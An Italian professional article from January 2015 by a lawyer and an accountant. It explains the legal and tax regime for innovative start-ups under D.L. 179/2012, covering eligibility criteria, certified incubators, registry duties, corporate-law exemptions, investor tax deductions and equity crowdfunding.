16 Gennaio, 2015

 

 

 

SOMMARIO: Premessa 1. La start up innovativa e quella a vocazione sociale 2. L’incubatore certificato di start up 3. Gli adempimenti richiesti – 4. Le deroghe al diritto societario e fallimentare – 5. Le agevolazioni fiscali per gli investitori  6. Il crowdfunding per la raccolta del capitale.

Premessa

La pubblicazione sulla Gazzetta Ufficiale n. 66 del 20 marzo 2014 del D.M. 30 gennaio 2014 ha completato il puzzle relativo alle start up innovative, forme societarie dall’accentuata anima tecnologica, introdotte con il D.L. 18 ottobre 2012, n. 179 (convertito, con modificazioni, dalla legge 17 dicembre 2012, n. 221) e che, oltre a deroghe sia in materia societaria sia fallimentare, prevede un sistema temporaneo di agevolazione per gli investitori. Proprio in riferimento alla raccolta di capitale di rischio, è stato introdotto e disciplinato con la delibera della Consob n. 18592 il sistema di crowdfunding, forma innovativa di raccolta del capitale per il tramite di portali on line. Da ultimo, non si può sottacere come un regime di favore sia stato previsto anche per quanto concerne la forza lavoro a mezzo di una defiscalizzazione che incide anche sul piano contributivo, della remunerazione del lavoro prestato nelle start up innovative, nel caso in cui essa sia effettuata tramite l’assegnazione di azioni, quote, strumenti finanziari partecipativi o altri diritti.

1. La start up innovativa e quella a vocazione sociale

Il legislatore, con il D.L. n. 179/2012, noto anche come “Decreto crescita-bis”, e successivamente integrato con il D.L. 4 giugno 2013, n. 63 (c.d. “Decreto lavoro”, convertito, con modificazioni, dalla legge 3 agosto 2013, n. 90), ha introdotto, con il preciso intento di favorire la crescita sostenibile, lo sviluppo tecnologico, la nuova imprenditorialità e l’occupazione, in particolare giovanile, una particolare forma societaria, quella della start up innovativa, prevedendo agevolazioni sia per quanto riguarda la società stessa che gli investitori (1). A questa nuova forma societaria, cui è dedicata l’intera sezione IX del D.L. n. 179/2012 (2), viene affiancata anche quella del c.d. “incubatore certificato” avente il preciso scopo di supportare la start up innovativa nella fase di sviluppo “embrionale” mediante l’offerta di un «ausilio in sede di sviluppo del progetto, sostegno operativo, strumenti di lavoro e eventualmente investendo risorse finanziarie» (3).

Ai sensi dell’art. 25, secondo comma, del D.L. n. 179/2012, per start up innovativa si intende una società di diritto italiano, costituita in forma di società di capitali o cooperativa, e/o di diritto europeo [nel rispetto, in questo caso, del regime di costituzione e gestione unico nel territorio comunitario contenuto nel Regolamento CE n. 2157/2001 per le forme societarie e nel Regolamento CE n. 1435/2003 per quelle cooperative (4) (5)]. Inoltre, nel caso di società di diritto comunitario – la Societas europea (SE) – è necessario che la residenza sia in Italia ai sensi e per gli effetti dell’art. 73 del TUIR, come del resto anche la sede principale di affari e interessi (6).

Ulteriore requisito richiesto è che le partecipazioni al capitale sociale, sia esse azioni che quote, non siano quotate in un mercato regolamentato o in un sistema multilaterale di negoziazione.

L’art. 25, secondo comma, del D.L. n. 179/2012, prosegue delineando compiutamente le caratteristiche delle start up innovative e individuando i requisiti che devono affiancare quelli “elementari”, consistenti nei seguenti:

a) la società non deve essere stata costituita anteriormente a 4 anni a decorrere dal 20 ottobre 2012, data di entrata in vigore del D.L. n. 179/2012. Questo requisito è richiesto poiché il regime di favore previsto per le start up innovative ha una durata quadriennale e quindi, di fatto, si è parificato lo status delle imprese esistenti con quelle di nuova costituzione;

b) dal secondo anno di attività il totale della produzione annua, quale risultante dall’ultimo bilancio approvato entro 6 mesi dalla chiusura dell’esercizio, non deve essere superiore a 5 milioni di euro;

c) non deve distribuire utili e non deve averlo fatto, con riferimento alle società già esistenti, nemmeno in passato. Questo requisito, avendo lo scopo di costringere al consolidamento della struttura societaria nella fase di costituzione e primo sviluppo, è temporaneo, “sfumando” il decorso del quadriennio agevolato;

d) oggetto sociale esclusivo deve essere lo sviluppo, la produzione e la commercializzazione di prodotti o servizi innovativi ad alto valore tecnologico. Sul punto il legislatore poteva essere più preciso in quanto non vi è una definizione di cosa debba intendersi per innovativo o altamente tecnologico (7);

e) la società non deve derivare da una fusione, scissione, cessione di azienda o ramo d’azienda (8).

[-protetto-]

Il Ministero dello sviluppo economico, con la nota dell’8 ottobre 2013, n. 164029, in risposta a un caso sottoposto dalla Camera di Commercio Industria Artigianato e Agricoltura (CCIAA) di Rimini, ha offerto un’interpretazione estensiva di tale ultimo requisito – art. 25, secondo comma, lett. g), del D.L. n. 179/2012 – ammettendo al regime agevolato anche le S.r.l. unipersonali costituite tramite cessione o conferimento di una ditta individuale.

Da ultimo, la norma richiede il rispetto di un ulteriore requisito, nell’ambito di tre.

Prima opzione è che le spese in ricerca e sviluppo siano almeno pari al 15% del maggiore valore tra costo e valore totale della produzione della start up innovativa (9). I dati devono desumersi dal bilancio approvato e le spese di ricerca e sviluppo devono essere descritte nella nota integrativa. In caso di start up newCo, mancando un bilancio, il rappresentante legale può attestare il rispetto della percentuale richiesta mediante specifica dichiarazione.

La norma precisa come, ai fini della ricomprensione tra le spese di ricerca e sviluppo, bisogna aver riguardo ai principi contabili e, quindi, in prima battuta a quanto previsto dall’Oic n. 24 (10). Sul punto la norma è alquanto lacunosa in quanto nella norma si procede a un mero rimando ai principi contabili senza specificare se tra le spese di R&D vi rientrino, e quindi rilevino anche ai fini della normativa de qua, solo quelle capitalizzabili o anche le altre (11). Si propende per un’inclusione nel calcolo percentuale sia delle spese capitalizzabili che di quelle non capitalizzabili essendo, tra le altre cose, una scelta e non un obbligo procedere alla patrimonializzazione di detti costi. Al contrario, non dovrebbero, salvo interpretazioni differenti, essere incluse nel novero le spese sostenute per la ricerca di base, definita nella bozza di Oic n. 24 come «l’insieme di studi, esperimenti, indagini e ricerche che non hanno una finalità definita con precisione, ma che si considera di utilità generica alla società», in quanto non tipizzanti bensì genericamente presenti nella maggior parte delle società.

Per espressa previsione normativa, vi sono alcune voci di costo ricomprese tra i costi di R&D: le spese relative allo sviluppo precompetitivo e competitivo, quali sperimentazione, prototipazione e sviluppo del business plan, le spese relative ai servizi di incubazione forniti da incubatori certificati, i costi lordi di personale interno e consulenti esterni impiegati nelle attività di ricerca e sviluppo, inclusi soci e amministratori, le spese legali per la registrazione e protezione di proprietà intellettuale, termini e licenze d’uso.

Al contrario, dal computo, in controtendenza rispetto a quanto previsto dall’Oic n. 24, sono espressamente esclusi i costi di ricerca e sviluppo relativi all’acquisto e locazione di immobili, intendendo, nell’ipotesi di proprietà del cespite, il relativo ammortamento annuo.

Secondo requisito alternativo individuato è che almeno 1/3 della forza lavoro impiegata deve essere rappresentata da dipendenti o collaboratori a qualsiasi titolo, che hanno conseguito o stanno svolgendo un dottorato di ricerca presso università italiane o straniere o che siano in possesso di una laurea e svolgano, da almeno un triennio, attività di ricerca certificata presso istituti di ricerca pubblici o privati, italiani o stranieri. In questo caso, ai fini del conteggio non sono inclusi gli amministratori che, soprattutto in queste forme societarie dal valore altamente tecnologico e innovativo, sono loro stessi soggetti qualificati (12). In alternativa a siffatta percentuale, il “Decreto Lavoro” ha introdotto l’alternativa che almeno 2/3 della forza lavoro complessiva sia in possesso di una laurea magistrale.

Infine, quale ultima alternativa offerta vi è che la società sia titolare, depositaria o licenziataria di almeno una privativa industriale relativa a una invenzione industriale, biotecnologica, a una topografia di prodotto a semiconduttori o a una nuova varietà vegetale ovvero sia titolare dei diritti relativi ad un programma per elaboratore originario registrato presso il Registro pubblico speciale per i programmi per elaboratore, purché tali privative siano direttamente afferenti all’oggetto sociale e all’attività di impresa.

Nel caso in cui la società rispetti i requisiti sopra individuati e operi in via esclusiva nei settori di cui all’art. 2, primo comma, del D.Lgs. 24 marzo 2006, n. 155, e quindi, alternativamente, nel campo dell’assistenza sociale, di quella sanitaria o di quella socio-sanitaria, nel settore dell’educazione, istruzione e formazione, della tutela dell’ambiente e dell’ecosistema, della valorizzazione del patrimonio culturale, del turismo sociale, della formazione universitaria e post-universitaria, della ricerca ed erogazione di servizi culturali, della formazione extra-scolastica o dei servizi strumentali alle imprese sociali, resi da enti composti in misura superiore al 70% da organizzazioni che esercitano un’impresa sociale, si è in presenza di una start up innovativa a vocazione sociale come individuata all’art. 25, quarto comma, che in quanto tale, come vedremo, dà accesso a un maggior incentivo fiscale per gli investitori.

2. L’incubatore certificato di start up

Il legislatore ha introdotto un’ulteriore figura che si pone a supporto delle start up innovative: gli incubatori certificati, società aventi la medesima forma giuridica precedentemente analizzata ma che rispondono ai seguenti requisiti:

dispongono di strutture, anche immobiliari, adeguate ad accogliere start up innovative, quali spazi riservati per poter installare attrezzature di prova, test, verifica o ricerca;

dispongono di attrezzature adeguate all’attività delle start up innovative, quali sistemi di accesso alla rete internet, sale riunioni, macchinari per test, prove o prototipi;

sono amministrate o dirette da persone di riconosciuta competenza in materia di impresa e innovazione e hanno a disposizione una struttura tecnica e di consulenza manageriale permanente;

hanno regolari rapporti di collaborazione con università, centri di ricerca, istituzioni pubbliche, partner finanziari che svolgono attività e progetti collegati a start up innovative e

posseggono un’adeguata e comprovata esperienza nell’attività di sostegno a start up innovative (13).

Con D.M. 21 febbraio 2013 sono stati individuati i valori minimi da rispettare.

3. Gli adempimenti richiesti

Come tutte le società neocostituite, anche la start up innovativa dovrà procedere all’iscrizione al Registro delle Imprese della CCIAA di competenza, tuttavia, per poter essere riconosciute come tali e godere delle agevolazioni previste, condizione imprescindibile è l’iscrizione in una specifica sezione speciale istituita presso il Registro delle Imprese, presentando una dichiarazione per via telematica in formato elettronico, a firma del legale rappresentante, attestante:

1. data e luogo di costituzione e indirizzo del notaio;

2. sede principale ed eventuali sedi periferiche;

3. oggetto sociale;

4. descrizione dell’attività svolta, compresa quella in ricerca e sviluppo. In tal caso è necessario indicare anche le spese sostenute;

5. soci, con trasparenza rispetto a fiduciarie, holding, con autocertificazione di veridicità;

6. società partecipate;

7. titoli di studio ed esperienze professionali dei soci e del personale impiegato;

8. esistenza di relazioni professionali, di collaborazione o commerciali con incubatori certificati, investitori istituzionali e professionali, università e centri di ricerca;

9. ultimo bilancio depositato, in formato xbrl;

10. elenco dei diritti di privativa su proprietà industriali e intellettuali.

Poiché scopo di tale sezione speciale è quello di rendere il più velocemente e agevolmente condivisibili i dati di tali forme societarie e incubatori, infatti anche questi ultimi hanno l’obbligo di iscrizione ai fini del riconoscimento, i dati devono essere aggiornati entro 6 mesi dalle eventuali modifiche intervenute.

Inoltre, sempre per rendere la sezione la più veritiera e aggiornata possibile, l’art. 25, comma 15, del D.L. n. 179/2012, prevede che il legale rappresentante provveda, nel termine di 30 giorni dall’approvazione del bilancio, e comunque non più tardi di 6 mesi dalla chiusura di ogni esercizio, ad attestare il mantenimento dei requisiti richiesti.

Per effetto di quanto disposto dal successivo art. 26, ottavo comma, al verificarsi e al mantenimento dei requisiti di cui sopra, le start up innovative e gli incubatori certificati sono esenti, per un periodo massimo di 4 anni dall’iscrizione, dal versamento della relativa imposta di bollo e dai diritti di segreteria connessi all’iscrizione nel Registro delle Imprese, nonché dal pagamento del diritto annuale di iscrizione alla CCIAA.

4. Le deroghe al diritto societario e fallimentare

In ragione della congiuntura economica in cui si è introdotta la start up innovativa e, soprattutto, della fragilità della fase embrionale delle società in genere, il legislatore ha previsto un regime derogatorio specifico per quanto riguarda il cosiddetto “riporto a nuovo delle perdite”, derogando a quanto previsto all’art. 2446 c.c. in tema di S.p.a. e all’art. 2482-bis c.c. per le S.r.l. (14).

Infatti, è previsto che la convocazione dell’assemblea per la necessaria riduzione del capitale (salvo che non vi sia stato un ripianamento delle perdite) è posticipata al secondo esercizio successivo.

In parallelo, per quanto attiene la deroga e relativo rinvio temporale, sempre l’art. 26, primo comma, del D.L. n. 179/2012, prevede che nell’ipotesi di perdite che determinano un’erosione del capitale al di sotto del limite legale, fattispecie regolamentata dall’art. 2447 c.c. per le S.p.a. e dall’art. 2482-ter c.c. per le S.r.l., l’assemblea, convocata senza indugio dai soci, può rinviare la riduzione del capitale e il contemporaneo aumento al minimo legale alla data di chiusura dell’esercizio successivo.

In ragione di tale prolungamento temporale, viene di riflesso posticipata anche l’entrata in funzione delle cause di scioglimento previste agli artt. 2484 e 2545-duodecies c.c., con la previsione della non azionabilità degli stessi fino alla chiusura dell’esercizio successivo.

Resta inteso che, essendo una proroga a tempo, se anche entro l’esercizio successivo la perdita non si è ripianata e il capitale ricostruito è portato al di sopra del minimo legale, dovranno applicarsi le disposizioni di cui agli artt. 2447 e 2482-ter c.c. richiamati, con tutte le conseguenze del caso.

Particolare attenzione è stata prestata alle società a responsabilità limitata, per la quale sono previste ulteriori deroghe, oltre a quelle sopra viste in materia di disciplina delle perdite civilistiche.

Ai sensi dell’art. 26, secondo comma, l’atto costitutivo delle start up innovative, costituite in forma di società a responsabilità, può prevedere la creazione di categorie di quote fornite di diritti differenti e può determinarne il contenuto, in deroga a quanto previsto all’art. 2468, secondo e terzo comma, c.c., sempre comunque nel rispetto di quanto previsto dalla legge.

Sempre nell’atto costitutivo è possibile, derogando all’art. 2479 c.c., creare quote che non attribuiscono diritti di voto o che li attribuiscono non proporzionalmente alla partecipazione detenuta dal socio o, ancora, diritti di voto limitati a particolari argomenti o subordinati al verificarsi di determinate situazioni non meramente potestative.

In realtà, il codice civile all’art. 2468 prevede già tale possibilità, ma la subordina all’unanimità dei soci.

In riferimento al divieto di cui all’art. 2474 c.c., in primis all’acquisto da parte della società di proprie quote, è prevista la deroga quando l’operazione è direttamente connessa a piani di incentivazione che prevedano l’assegnazione di quote a dipendenti, collaboratori, amministratori e prestatori di opere e servizi, includendovi anche i professionisti. Viene, quindi, estesa anche alla società a responsabilità limitata la possibilità già concessa, seppur con precise limitazioni, alle società per azioni. Si sottolinea come la deroga sia temporanea in quanto, come vedremo, il regime agevolato previsto per le start up innovative incontra un limite massimo di applicazione pari a un quadriennio. Ne deriva che la start up innovativa dovrà non essere più proprietaria di proprie quote (15).

Inoltre, le suddette quote possono anche essere oggetto di offerta al pubblico di prodotti finanziari anche attraverso l’utilizzo di portali on line come disciplinati all’art. 30 del D.L. n. 179/2012 su cui ci si soffermerà in seguito proseguo. Questa possibilità rappresenta una deroga al divieto espresso previsto all’art. 2468, primo comma, c.c., e risponde all’esigenza di attrarre investitori.

Viene inoltre estesa, sia alle start up che agli incubatori, la possibilità di procedere all’emissione, in ragione dell’apporto da parte di soci o soggetti terzi anche di opera o servizi, strumenti finanziari che diano diritti patrimoniali e/o amministrativi, ad esclusione del diritto di voto, in deroga agli artt. 2479 e 2479-bis c.c.

Da ultimo, si evidenzia come, al fine di supportare quanto più possibile lo sviluppo di tali forme imprenditoriali, il legislatore abbia previsto che alle start up innovative si applicano, esclusivamente, a prescindere anche dal livello dimensionale, le procedure di ricomposizione della crisi aziendale di cui alla legge 27 gennaio 2012, n. 3, con la conseguenza immediata dell’infallibilità.

5. Le agevolazioni fiscali per gli investitori

L’art. 29 del D.L. n. 179/2012 prevede alcune agevolazioni di natura fiscale per quanto riguarda i soggetti, siano essi persone fisiche o giuridiche (16), che investono capitali nelle start up innovative. La norma ha l’evidente scopo di cercare di attrarre capitali nelle newCo che purtroppo, è di tutta evidenza come, in questo periodo storico, incontrino difficoltà nel reperimento dei capitali necessari a sostenere i progetti, soprattutto nella prima fase dove, ben difficilmente, si potranno rilevare guadagni.

L’originaria previsione di un’agevolazione su base triennale (2013-2015) è stata estesa a mezzo del D.L. 28 giugno 2013, n. 76 (convertito, con modificazioni, dalla legge 9 agosto 2013, n. 99), fino al 2016, tuttavia, il citato D.M. 30 gennaio 2014 ha ricondotto nuovamente a 3 anni il lasso temporale.

La motivazione, come evidenziato da attenta dottrina (17), va ricondotta alla circostanza che l’Unione europea, che doveva autorizzare l’agevolazione, con la decisione C(2013)8827 del 5 dicembre 2013, si è espressa favorevolmente, nell’ottica del testo originario del decreto n. 179/2012, quello sottoposto all’esame comunitario (18).

L’investimento può essere effettuato sia direttamente dalla persona fisica o giuridica, che per il tramite di Oicr o società di capitali che investono prevalentemente in start up innovative.

L’art. 1, secondo comma, lett. e), del D.M. 30 gennaio 2014, definisce tali gli Oicr che, al termine del periodo di imposta in corso al 31 dicembre dell’anno in cui è effettuato l’investimento agevolato, detengono azioni o quote di start up innovative di valore almeno pari al 70% del valore complessivo degli investimenti in strumenti finanziari risultanti dal rendiconto di gestione o dal bilancio chiuso nel corso dell’anzidetto periodo di imposta e le società di capitali che al termine del periodo di imposta in corso al 31 dicembre dell’anno in cui è effettuato l’investimento agevolato, detengono azioni o quote di start up innovative, classificate nella categoria delle immobilizzazioni finanziarie, di valore almeno pari al 70% del valore complessivo delle immobilizzazioni finanziarie iscritte nel bilancio chiuso nel corso dell’anzidetto periodo di imposta.

Tuttavia, in tali casi, se per quanto riguarda l’eventuale investimento a mezzo di un Oicr, all’atto pratico l’agevolazione viene goduta in misura integrale, nel caso di società di capitali, come previsto dall’art. 2, secondo comma, del citato decreto, essa è “concessa” proporzionalmente agli investimenti effettuati nelle start up innovative dalla società, come risultanti dal bilancio chiuso relativo all’esercizio in cui è effettuato l’investimento agevolato.

Analizzando dapprima gli aspetti relativi agli investitori soggetti IRPEF, l’agevolazione loro riconosciuta consiste in una detrazione di imposta nella misura del 19% dell’importo investito, con un limite di quest’ultimo pari a 500.000 euro, con conseguente detrazione massima di euro 95.000.

Nel caso di investitori società di persone l’art. 4, primo comma, del suddetto decreto, stabilisce che ai soci la detrazione spetta in proporzione alle rispettive quote di partecipazione agli utili e il limite all’investimento si applica con riferimento al conferimento in denaro effettuato dalla società.

Il medesimo art. 4 regola il corretto utilizzo della detrazione nel caso in cui esso, alla luce anche dell’importo massimo stabilito, determini un’incapienza con conseguente eccedenza che, ai sensi del secondo comma, potrà essere portata in detrazione dall’imposta lorda degli esercizi successivi, ma non oltre il terzo, fino a concorrenza del suo ammontare.

Con riferimento ai soggetti IRES, l’agevolazione consiste nella facoltà di deduzione di un importo pari al 20% dei conferimenti effettuati, per un importo non superiore a euro 1.800.000, per ciascun periodo d’imposta, e quindi nel limite massimo di 360.000 euro, con un risparmio di imposta effettivo nel limite di 99.000 euro.

In misura analoga a quanto visto per i soggetti IRPEF, anche in questo caso, al verificarsi di un’incapienza del reddito imponibile, l’eccedenza può essere computata in aumento dell’importo deducibile dal reddito complessivo dei periodi di imposta successivi, ma non oltre il terzo, fino a concorrenza del suo ammontare.

Per ovvi motivi strutturali, il decreto disciplina, per quanto riguarda i soggetti IRES, le modalità di fruizione dell’eventuale eccedenza deducibile, nel caso in cui i soggetti investitori, alternativamente, partecipino a un consolidato, nazionale o mondiale, o abbiano optato per la trasparenza fiscale di cui agli artt. 115 e 116 del TUIR.

Nel primo caso l’eccedenza è “ceduta” al gruppo e quindi ammessa in deduzione dal reddito complessivo consolidato dichiarato fino a concorrenza dello stesso. In caso di ulteriore eccedenza, essa è rinviata agli esercizi successivi, sempre nel limite del triennio. Se l’investimento è anteriore all’opzione per il consolidamento, le eccedenze non possono essere cedute al consolidato ma restano deducibili dal reddito complessivo delle singole società.

Nel caso di trasparenza fiscale, l’eccedenza sarà assegnata ai singoli soci in proporzione alla rispettiva partecipazione agli utili. In caso di ulteriore incapienza, l’eccedenza può essere riportata in avanti, nel rispetto sempre della regola del triennio, e utilizzata ad abbattimento del reddito complessivo del socio fino a concorrenza del suo ammontare. Analogamente a quanto visto per le eccedenze da consolidato originatesi anteriormente all’opzione, anche in questo caso le eventuali eccedenze non sono cedibili e restano deducibili dal reddito complessivo dichiarato dalla società.

Fermo restando le caratteristiche di cui sopra, il legislatore ha previsto un “premio” maggiore per quei soggetti, siano esse persone fisiche o giuridiche, che investono in start up innovative a vocazione sociale (19) e in quelle che sviluppano e commercializzano solamente prodotti o servizi innovativi ad alto valore tecnologico in ambito energetico, che abbiano quale codice attività uno di quelli di cui all’allegato al decreto, infatti, in tal caso le percentuali di detrazione e deduzione vengono elevate rispettivamente al 25% e 27% (20).

A prescindere dalla forma prescelta, si deve ricordare come, a norma dell’art. 4, ottavo comma, del D.M. 30 gennaio 2014, la detrazione/deduzione compete a condizione che, per periodi di imposta, la start up riceva conferimenti nel limite di 2.500.000 euro. In caso contrario, se il valore dei conferimenti effettuati alla start up nel corso di un suo periodo di imposta dovessero eccedere tale importo massimo si avrebbe la decadenza per tutti gli investitori a prescindere dal momento di effettuazione.

L’art. 3 del decreto stabilisce che l’investimento deve essere effettuato sotto forma di conferimenti di denaro iscritti alla voce del capitale sociale e della riserva da sovrapprezzo delle azioni o quote delle start up innovative o delle società di capitali che investono prevalentemente in start up innovative, anche in seguito alla conversione di obbligazioni convertibili in azioni o quote di nuova emissione, nonché agli investimenti in quote degli Oicr che investono prevalentemente in start up.

Detto che l’accesso nel capitale delle start up innovative può avvenire sia in sede di costituzione della società sia successivamente, la circostanza dell’obbligo di iscrizione nel netto lascia intendere come il conferimento debba consistere solamente in un incremento del patrimonio aziendale e non nell’acquisto di partecipazioni già esistenti (21).

Il decreto prevede, inoltre, che il conferimento in denaro avvenga tramite compensazione di crediti in sede di sottoscrizione di aumenti del capitale, a eccezione di quelli risultanti da cessioni di beni o prestazioni di servizi, salvo che dette prestazioni e cessioni non siano effettuate nei confronti della start up stessa.

Per effetto di quanto previsto dal successivo art. 3, terzo comma, del decreto, l’agevolazione fiscale in capo all’investitore soggiace alle tempistiche della start up, infatti, è previsto che i conferimenti rilevino nel periodo d’imposta in corso alla data del deposito per l’iscrizione nel Registro delle Imprese dell’atto costitutivo o della deliberazione di aumento del capitale sociale ovvero, se successiva, alla data del deposito dell’attestazione che l’aumento del capitale è stato eseguito ai sensi degli artt. 2444 e 2481-bis c.c. (22).

Ai fini della fruizione dell’agevolazione, il contribuente deve, inoltre, premunirsi dei seguenti documenti forniti da parte della start up partecipata:

attestazione del rispetto del limite di 2.500.000 euro relativamente al periodo di imposta dell’investimento;

copia del piano di investimento della start up innovativa;

attestazione dell’attività svolta nel caso di start up innovativa a vocazione sociale o di quelle che sviluppano e commercializzano solamente prodotti o servizi innovativi ad alto valore tecnologico in ambito energetico.

Inoltre, nel caso di investimenti indiretti, sarà cura, previa richiesta dell’investitore, del relativo Oicr o della società di capitali che investono in misura prevalente in start up innovative, attestare il possesso dei requisiti necessari da parte dei soggetti stessi, nel termine della presentazione della dichiarazione dei redditi dell’anno in cui il contribuente eserciterà la detrazione/deduzione.

È prevista anche la possibilità di una discrasia temporale tra esercizio di imposta delle start up innovative, degli Oicr o delle altre società che investono prevalentemente in start up innovative e quello dell’investitore, nel qual caso, se la certificazione perviene in un periodo successivo a quello di reale rilevanza dell’investimento, è ammesso lo slittamento della fruizione del beneficio al periodi di imposta successivo.

Da ultimo, non resta che analizzare le eventuali cause di decadenza dall’agevolazione.

Prima però meritano qualche cenno le ipotesi di cui all’art. 2 del decreto con cui vengono individuate alcune fattispecie che, a priori, non danno accesso all’agevolazione.

Primo caso è quello in cui l’investimento avvenga in via indiretta e quindi per il tramite di Oicr o società di capitali, l’agevolazione non compete se i suddetti “veicoli” sono, direttamente o indirettamente, a partecipazione pubblica.

Particolare attenzione deve essere posta anche alla tipologia di start up in cui si intende investire, in quanto non sono agevolati i conferimenti effettuati nei confronti di start up in difficoltà secondo i parametri di cui alla comunicazione della Commissione europea «Orientamenti comunitari sugli aiuti di Stato per il salvataggio e la ristrutturazione di imprese in difficoltà» (2004/C 244/02) od operanti nel settore della costruzione navale, del carbone e dell’acciaio.

A prescindere dalle modalità di investimento, sia esso diretto o indiretto, l’agevolazione non spetta ai soggetti che alla data in cui l’investimento si considera effettuato, detengono partecipazioni, titoli o diritti nella start up innovativa in misura superiore al 30%. Ai fini del computo si deve tener conto anche delle partecipazioni, titoli o diritti posseduti dai familiari ex art. 230-bis, terzo comma, c.c., o da società controllate ai sensi dell’art. 2359, primo comma, n. 1), c.c.

Il successivo art. 6 del decreto individua alcune cause successive che comportano il venir meno dell’agevolazione con effetto retroattivo. La retroattività si rinviene dal disposto di cui al quarto comma che stabilisce come nel periodo d’imposta di decadenza l’investitore dovrà, se soggetto IRPEF, incrementare l’imposta dovuta per tale periodo di un importo pari alla detrazione fruita nei periodi d’imposta precedenti aumentata degli interessi legali mentre, se soggetto IRES, procederà a una variazione in aumento del reddito di tale periodo per un importo pari all’ammontare che non ha concorso alla formazione del reddito nei periodi d’imposta precedenti.

Passando a individuare e delimitare le cause di decadenza, il decreto individua quattro cause principali che, se si verificano entro un biennio dalla decorrenza dell’investimento, comporta la decadenza dall’agevolazione:

cessione, anche parziale, a titolo oneroso, delle partecipazioni ricevute, inclusi gli atti a titolo oneroso che importano costituzione o trasferimento di diritti reali di godimento e i conferimenti in società, salvo quanto disposto al terzo comma, lett. a) e b), nonché la cessione di diritti o titoli attraverso cui possono essere acquisite le predette partecipazioni;

riduzione di capitale nonché la ripartizione di riserve o altri fondi costituiti con sovrapprezzi di emissione delle azioni o quote delle start up innovative o delle società che investono prevalentemente in start up innovative;

recesso o l’esclusione degli investitori di cui all’art. 2, primo comma;

perdita di uno dei requisiti previsti dall’art. 25, secondo comma, del D.L. n. 179/2012, da parte della start up innovativa, secondo quanto risulta dal periodico aggiornamento della sezione del registro delle imprese dell’ottavo comma dello stesso art. 25.

Nel caso di investimenti indiretti le condizioni di cui sopra dovranno verificarsi in capo all’Oicr o alla società di capitali che investe prevalentemente in start up.

A parziale temperamento delle condizioni sopra individuate, il decreto, al terzo comma sempre dell’art. 6, statuisce che non si considerano cause di decadenza i trasferimenti a titolo gratuito o a causa di morte del contribuente, nonché i trasferimenti a seguito di operazione straordinaria. In tale ultimo caso, però, le condizioni per l’agevolazione dovranno essere verificate a decorrere dalla data in cui è stato effettuato l’investimento agevolato da parte del dante causa. Inoltre, altra causa di non decadenza è il venir meno dei requisiti in capo alla start up decorsi quattro anni dalla sua costituzione o del diverso termine indicato dal secondo periodo del terzo comma dello stesso art. 25 previsto per le start up innovative già esistenti alla data di emanazione del D.L. n. 179/2012.

6. Il crowdfunding per la raccolta del capitale

In maniera del tutto innovativa, il Legislatore ha previsto la possibilità di procedere alla raccolta del capitale attraverso portali on line, le cui modalità sono state regolamentate, in ossequio a quanto previsto dall’art. 50-quinquies del TUB (D.Lgs. 1º settembre 1983, n. 385), introdotto con il D.L. n. 179/2012, dalla Consob, a mezzo della delibera n. 18592.

Tale forma alternativa e altamente innovativa rispetto a quella tradizionale è nota come crowdfunding, sistema con cui un soggetto, tramite una piattaforma on line, crea una rete con il fine di mettersi in contatto con possibili investitori.

Il modello prescelto è quello c.d. equity-based dove a fronte dell’investimento viene riconosciuta una partecipazione nella società finanziata (23).

con il regolamento richiamato la Consob ha provveduto all’istituzione di un registro dei gestori del portale, cui possono accedere le imprese di investimento e le banche autorizzate ai servizi di investimento.

Varie sono le informazioni che devono essere rese note in riferimento alla gestione del portale per la raccolta dei fondi.

Nello specifico, a norma dell’art. 14, anche in forma sintetica, devono essere resi noti i dati inerenti:

gestore e soggetti che lo controllano, con espressa specificazione delle persone a cui è demandata amministrazione, direzione e controllo;

attività e modalità di selezione delle offerte proposte, con la precisazione, nel caso tale funzione sia demandata a soggetti terzi, dei dati di questi ultimi;

modalità di gestione degli ordini;

eventuali costi di commessa e gestione;

modalità di gestione di eventuali controversie scaturenti e relativi sistemi di risoluzione stragiudiziale delle controversie;

sistemi relativi alla tutela della privacy, alla gestione dei rischi di frode;

dati complessivi dei flussi di offerta e i relativi esiti.

Alla luce delle caratteristiche precipue delle start up innovative, il gestore dovrà fornire le informazioni prima esaminate inerenti la tipicità della “forma” societaria introdotta con il D.L. n. 179/2012.

Resta inteso che sul portale dovranno essere rese fruibili tute le informazioni riguardanti la start up innovativa, con specifico riferimento al progetto e collegato business plan, tipologia e caratteristiche degli strumenti emessi. In altri termini, dovranno essere messe a disposizione tutte le informazioni per rendere pienamente comprensibile l’offerta (24).

La normativa presenta quindi profili di sicuro interesse anche se permane alquanto articolata anche sotto il profilo delle modalità attuative che, si auspica, non contribuiscano ad ostacolare in maniera troppo onerosa l’accesso a tale regime.

Avv. Alberto Alfredo Ferrario – Dott. Luigi Scappini

(1) Scopo dichiarato del legislatore è anche quello di «contribuire allo sviluppo di nuova cultura imprenditoriale, alla creazione di un contesto maggiormente favorevole all’innovazione, così come a promuovere maggiore mobilità sociale e ad attrarre in Italia talenti, imprese innovative e capitali dall’estero».

(2) Tant’è vero che Assonime, nell’introduzione alla circolare 6 maggio 2013, n. 11, parla di «un’ecosistema normativo, in cui vengono contemplate le interazioni tra i soggetti coinvolti nello sviluppo di imprese innovative tecnologiche e tra le diverse discipline settoriali».

(3) Cfr. circ. Assonime n. 11/2013, cit.

(4) Ai fini di un’attenta disamina dei requisiti richiesti affinché una società si possa considerare di diritto italiano, si rimanda alla circ. Assonime n. 11/2013, cit., limitandoci in questa sede a ricordare come legislazione di riferimento sia la legge 31 maggio 1995, n. 218.

(5) Si precisa come, per quanto riguarda le cooperative comunitarie, nonostante la non espressa previsione da parte del legislatore, la ricomprensione nel regime previsto per le start up innovative sia ammessa. In senso conforme si esprime Assonime con circ. n. 11/2013, cit.; cfr. inoltre G. Manzi, Start up ed incubatori certificati: il nuovo status per l’imprenditorialità innovativa, in Bilancio e reddito di impresa, n. 5/2013.

(6) Art. 25, comma 2, lett. c), del D.L. 18 ottobre 2012, n. 179 (convertito, con modificazioni, dalla legge 17 dicembre 2012, n. 221).

(7) Cfr. E. Pucci – L. Scappini, Le start up innovative: caratteristiche e agevolazioni, in il fisco, n. 41/2012. La circ. Assonime n. 11/2013, cit., sottolinea come non sia ammissibile «una limitazione a priori dei campi di attività in cui l’impresa start up innovativa può operare, ivi compresi quelli tecnologicamente maturi».

(8) In dottrina è stato evidenziato come manchi qualsiasi riferimento al conferimento di azienda o di ramo, concludendo comunque per una mera dimenticanza e quindi considerando come causa ostativa la costituzione a mezzo di tale tipologia di operazione straordinaria, cfr. G. Andreani – A. Tubelli, Semplificazioni in arrivo per start up innovative e incubatori certificati, in Corr. trib., n. 42/2012.

